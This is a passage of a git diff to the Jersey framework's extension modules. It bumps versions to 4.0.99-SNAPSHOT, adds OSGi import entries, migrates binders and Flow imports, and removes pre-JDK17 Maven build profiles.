         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.ext.cdi</groupId>
diff --git a/ext/entity-filtering/pom.xml b/ext/entity-filtering/pom.xml
index 98d85cf..dc5ebf2 100644
--- a/ext/entity-filtering/pom.xml
+++ b/ext/entity-filtering/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-entity-filtering</artifactId>
@@ -80,7 +80,11 @@
                 <configuration>
                     <instructions>
                         <Export-Package>org.glassfish.jersey.message.filtering.*;version=${project.version}</Export-Package>
-                        <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package>
+                            ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
diff --git a/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/EntityFilteringBinder.java b/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/EntityFilteringBinder.java
index aa28b30..24a5543 100644
--- a/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/EntityFilteringBinder.java
+++ b/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/EntityFilteringBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,7 +20,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.message.filtering.spi.EntityGraphProvider;
 import org.glassfish.jersey.message.filtering.spi.EntityInspector;
 import org.glassfish.jersey.message.filtering.spi.ObjectGraph;
@@ -32,7 +32,7 @@
  *
  * @author Michal Gajdos
  */
-final class EntityFilteringBinder extends AbstractBinder {
+final class EntityFilteringBinder extends InternalBinder {
 
     @Override
     protected void configure() {
diff --git a/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectGraphTransformer.java b/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectGraphTransformer.java
index add7c4d..6ffd307 100644
--- a/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectGraphTransformer.java
+++ b/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectGraphTransformer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,6 @@
 
 package org.glassfish.jersey.message.filtering.spi;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.spi.Contract;
 
 /**
@@ -28,7 +27,7 @@
  * </p>
  * <p>
  * Implementations should be registered into client/server runtime via
- * {@link AbstractBinder jersey binder} (for more information and common implementation see
+ * {@code AbstractBinder jersey binder} (for more information and common implementation see
  * {@link AbstractObjectProvider}):
  * <pre>
  * bindAsContract(MyObjectGraphTransformer.class)
diff --git a/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectProvider.java b/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectProvider.java
index 5e64e2e..5ff1e20 100644
--- a/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectProvider.java
+++ b/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/spi/ObjectProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,7 +19,6 @@
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.spi.Contract;
 
 /**
@@ -43,7 +42,7 @@
  * </p>
  * <p>
  * Implementations should be registered into client/server runtime via
- * {@link AbstractBinder jersey binder} (for more information and common implementation see
+ * {@code AbstractBinder jersey binder} (for more information and common implementation see
  * {@link AbstractObjectProvider}):
  * <pre>
  * bindAsContract(MyObjectProvider.class)
diff --git a/ext/metainf-services/pom.xml b/ext/metainf-services/pom.xml
index 3a6e9c6..5194681 100644
--- a/ext/metainf-services/pom.xml
+++ b/ext/metainf-services/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-metainf-services</artifactId>
@@ -87,6 +87,7 @@
                     <instructions>
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                         <unpackBundle>true</unpackBundle>
diff --git a/ext/metainf-services/src/main/java/org/glassfish/jersey/spidiscovery/internal/MetaInfServicesAutoDiscoverable.java b/ext/metainf-services/src/main/java/org/glassfish/jersey/spidiscovery/internal/MetaInfServicesAutoDiscoverable.java
index cc8c8b4..152c7c2 100644
--- a/ext/metainf-services/src/main/java/org/glassfish/jersey/spidiscovery/internal/MetaInfServicesAutoDiscoverable.java
+++ b/ext/metainf-services/src/main/java/org/glassfish/jersey/spidiscovery/internal/MetaInfServicesAutoDiscoverable.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,8 +26,8 @@
 
 import jakarta.annotation.Priority;
 
-import org.glassfish.jersey.internal.ServiceFinderBinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
 import org.glassfish.jersey.internal.spi.AutoDiscoverable;
 import org.glassfish.jersey.internal.spi.ForcedAutoDiscoverable;
 
@@ -42,7 +42,7 @@
         final Map<String, Object> properties = context.getConfiguration().getProperties();
         final RuntimeType runtimeType = context.getConfiguration().getRuntimeType();
 
-        context.register(new AbstractBinder() {
+        context.register(new InternalBinder() {
             @Override
             protected void configure() {
                 // Message Body providers.
diff --git a/ext/micrometer/pom.xml b/ext/micrometer/pom.xml
index 5583c1e..4111604 100644
--- a/ext/micrometer/pom.xml
+++ b/ext/micrometer/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java
index d46e855..3f4917f 100644
--- a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -44,7 +44,7 @@
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.junit.jupiter.api.Test;
-import zipkin2.CheckResult;
+import zipkin2.reporter.CheckResult;
 import zipkin2.reporter.Sender;
 import zipkin2.reporter.urlconnection.URLConnectionSender;
 
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java
index 0490129..8012086 100644
--- a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -55,7 +55,7 @@
 import io.opentelemetry.sdk.trace.SdkTracerProviderBuilder;
 import io.opentelemetry.sdk.trace.export.SimpleSpanProcessor;
 import io.opentelemetry.sdk.trace.export.SpanExporter;
-import io.opentelemetry.semconv.resource.attributes.ResourceAttributes;
+import io.opentelemetry.semconv.ResourceAttributes;
 import org.glassfish.jersey.micrometer.server.ObservationApplicationEventListener;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.Nested;
diff --git a/ext/microprofile/mp-config/pom.xml b/ext/microprofile/mp-config/pom.xml
index 7c9463c..4121415 100644
--- a/ext/microprofile/mp-config/pom.xml
+++ b/ext/microprofile/mp-config/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext.microprofile</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -83,6 +83,12 @@
             <artifactId>junit-jupiter</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-jetty</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
     <build>
         <plugins>
@@ -98,6 +104,7 @@
                         </Export-Package>
                         <Import-Package>
                             org.eclipse.microprofile.config.*;version="!",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
@@ -109,39 +116,6 @@
 
     <profiles>
         <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/microprofile/config/*Test.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty17</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-                    <artifactId>jersey-test-framework-provider-jetty</artifactId>
-                    <version>${project.version}</version>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
             <id>smallrye-dependency</id>
             <activation>
                 <jdk>[11,)</jdk>
@@ -158,7 +132,7 @@
         <profile>
             <id>helidon-config-dependency</id>
             <activation>
-                <jdk>[17,)</jdk>
+                <jdk>[21,)</jdk>
             </activation>
             <dependencies>
                 <dependency>
diff --git a/ext/microprofile/mp-rest-client/pom.xml b/ext/microprofile/mp-rest-client/pom.xml
index 948501a..3e66566 100644
--- a/ext/microprofile/mp-rest-client/pom.xml
+++ b/ext/microprofile/mp-rest-client/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext.microprofile</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -119,8 +119,9 @@
                         </Export-Package>
                         <Import-Package>
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
                             org.eclipse.microprofile.config.*;version="!",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSubscription.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSubscription.java
index 18dbf4c..b6fe592 100644
--- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSubscription.java
+++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSubscription.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -16,11 +16,11 @@
  */
 package org.glassfish.jersey.microprofile.restclient;
 
-import org.glassfish.jersey.internal.jsr166.Flow;
-import java.util.logging.Logger;
 import org.reactivestreams.Subscriber;
 import org.reactivestreams.Subscription;
 
+import java.util.concurrent.Flow;
+
 /**
  * A {@link SseEventSubscription} represents a one-to-one life-cycle of a
  * {@link Subscriber} subscribing to a {@link SseEventPublisher}.
diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSuscriber.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSuscriber.java
index da628a0..d5001bc 100644
--- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSuscriber.java
+++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventSuscriber.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -18,7 +18,8 @@
 
 import org.reactivestreams.Subscriber;
 import org.reactivestreams.Subscription;
-import org.glassfish.jersey.internal.jsr166.Flow;
+
+import java.util.concurrent.Flow;
 
 public class SseEventSuscriber<T> implements Flow.Subscriber<T> {
 
diff --git a/ext/microprofile/pom.xml b/ext/microprofile/pom.xml
index 8037dec..87d7bcd 100644
--- a/ext/microprofile/pom.xml
+++ b/ext/microprofile/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/ext/mvc-bean-validation/pom.xml b/ext/mvc-bean-validation/pom.xml
index 9ee18d9..81f7a4d 100644
--- a/ext/mvc-bean-validation/pom.xml
+++ b/ext/mvc-bean-validation/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-bean-validation</artifactId>
@@ -39,6 +39,15 @@
                 <groupId>org.apache.felix</groupId>
                 <artifactId>maven-bundle-plugin</artifactId>
                 <inherited>true</inherited>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                    <unpackBundle>true</unpackBundle>
+                </configuration>
             </plugin>
         </plugins>
         <resources>
diff --git a/ext/mvc-freemarker/pom.xml b/ext/mvc-freemarker/pom.xml
index 3fa9f9f..b50b611 100644
--- a/ext/mvc-freemarker/pom.xml
+++ b/ext/mvc-freemarker/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-freemarker</artifactId>
@@ -42,7 +42,11 @@
                 <extensions>true</extensions>
                 <configuration>
                     <instructions>
-                        <Import-Package>jakarta.servlet.*;version="[5.0,7.0)",*</Import-Package>
+                        <Import-Package>
+                            jakarta.servlet.*;version="[6.0,7.0)",
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                         <Export-Package>org.glassfish.jersey.server.mvc.freemarker.*;version=${project.version}</Export-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
diff --git a/ext/mvc-jsp/pom.xml b/ext/mvc-jsp/pom.xml
index a412253..4930df4 100644
--- a/ext/mvc-jsp/pom.xml
+++ b/ext/mvc-jsp/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-jsp</artifactId>
@@ -53,8 +53,9 @@
                 <configuration>
                     <instructions>
                         <Import-Package>
-                            jakarta.servlet.jsp.*;version="[3.0,4.0)",
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.jsp.*;version="[3.0,5.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                         <Export-Package>org.glassfish.jersey.server.mvc.jsp.*;version=${project.version}</Export-Package>
diff --git a/ext/mvc-mustache/pom.xml b/ext/mvc-mustache/pom.xml
index 2b32c8b..ca37327 100644
--- a/ext/mvc-mustache/pom.xml
+++ b/ext/mvc-mustache/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-mustache</artifactId>
@@ -42,6 +42,10 @@
                 <extensions>true</extensions>
                 <configuration>
                     <instructions>
+                        <Import-Package>
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                         <Export-Package>org.glassfish.jersey.server.mvc.mustache.*;version=${project.version}</Export-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
diff --git a/ext/mvc-thymeleaf/pom.xml b/ext/mvc-thymeleaf/pom.xml
index bae0fd2..4d52073 100644
--- a/ext/mvc-thymeleaf/pom.xml
+++ b/ext/mvc-thymeleaf/pom.xml
@@ -25,7 +25,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-thymeleaf</artifactId>
diff --git a/ext/mvc/pom.xml b/ext/mvc/pom.xml
index 628530f..76cd115 100644
--- a/ext/mvc/pom.xml
+++ b/ext/mvc/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc</artifactId>
@@ -66,7 +66,12 @@
                 <configuration>
                     <instructions>
                         <Export-Package>org.glassfish.jersey.server.mvc.*;version=${project.version}</Export-Package>
-                        <Import-Package> jakarta.servlet.*;version="[5.0,7.0)",${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package>
+                            jakarta.servlet.*;version="[6.0,7.0)",
+                            ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
diff --git a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/MvcBinder.java b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/MvcBinder.java
index fcd0e53..da8f973 100644
--- a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/MvcBinder.java
+++ b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/MvcBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.server.model.ModelProcessor;
 import org.glassfish.jersey.server.mvc.spi.ViewableContext;
 
@@ -30,7 +30,7 @@
  *
  * @author Michal Gajdos
  */
-public class MvcBinder extends AbstractBinder {
+public class MvcBinder extends InternalBinder {
 
     @Override
     protected void configure() {
diff --git a/ext/pom.xml b/ext/pom.xml
index 59e1c68..1f3ce21 100644
--- a/ext/pom.xml
+++ b/ext/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.ext</groupId>
diff --git a/ext/proxy-client/pom.xml b/ext/proxy-client/pom.xml
index a623b2f..ad2f19b 100644
--- a/ext/proxy-client/pom.xml
+++ b/ext/proxy-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-proxy-client</artifactId>
@@ -47,6 +47,10 @@
                 <extensions>true</extensions>
                 <configuration>
                     <instructions>
+                        <Import-Package>
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                         <Export-Package>org.glassfish.jersey.client.proxy.*;version=${project.version}</Export-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
diff --git a/ext/rx/pom.xml b/ext/rx/pom.xml
index 3d5a1c9..06124b4 100644
--- a/ext/rx/pom.xml
+++ b/ext/rx/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.ext.rx</groupId>
diff --git a/ext/rx/rx-client-guava/pom.xml b/ext/rx/rx-client-guava/pom.xml
index 97f6c5e..51edcb7 100644
--- a/ext/rx/rx-client-guava/pom.xml
+++ b/ext/rx/rx-client-guava/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.rx</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-rx-client-guava</artifactId>
diff --git a/ext/rx/rx-client-rxjava/pom.xml b/ext/rx/rx-client-rxjava/pom.xml
index 22aa2fc..b651824 100644
--- a/ext/rx/rx-client-rxjava/pom.xml
+++ b/ext/rx/rx-client-rxjava/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.rx</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-rx-client-rxjava</artifactId>
diff --git a/ext/rx/rx-client-rxjava2/pom.xml b/ext/rx/rx-client-rxjava2/pom.xml
index 1dafe7a..444ca22 100644
--- a/ext/rx/rx-client-rxjava2/pom.xml
+++ b/ext/rx/rx-client-rxjava2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.rx</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-rx-client-rxjava2</artifactId>
diff --git a/ext/spring6/pom.xml b/ext/spring6/pom.xml
index 2d93477..e9b4ea8 100644
--- a/ext/spring6/pom.xml
+++ b/ext/spring6/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-spring6</artifactId>
@@ -38,10 +38,6 @@
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <java.build.outputDirectory>${project.basedir}/target</java.build.outputDirectory>
-        <javaPre17.sourceDirectory>${project.basedir}/src/main/javaPre17</javaPre17.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
     </properties>
 
     <repositories>
@@ -229,157 +225,6 @@
 
     <profiles>
         <profile>
-            <id>HK2_JDK8_dependencyConvergence_skip</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-enforcer-plugin</artifactId>
-                        <configuration>
-                            <rulesToSkip>dependencyConvergence</rulesToSkip>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>SpringExclude</id>
-            <activation>
-                <jdk>[1.8,17)</jdk>
-            </activation>
-            <build>
-                <directory>${java.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${javaPre17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/server/spring/**/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>SpringInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.class</exists>
-                </file>
-                <jdk>[1.8,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
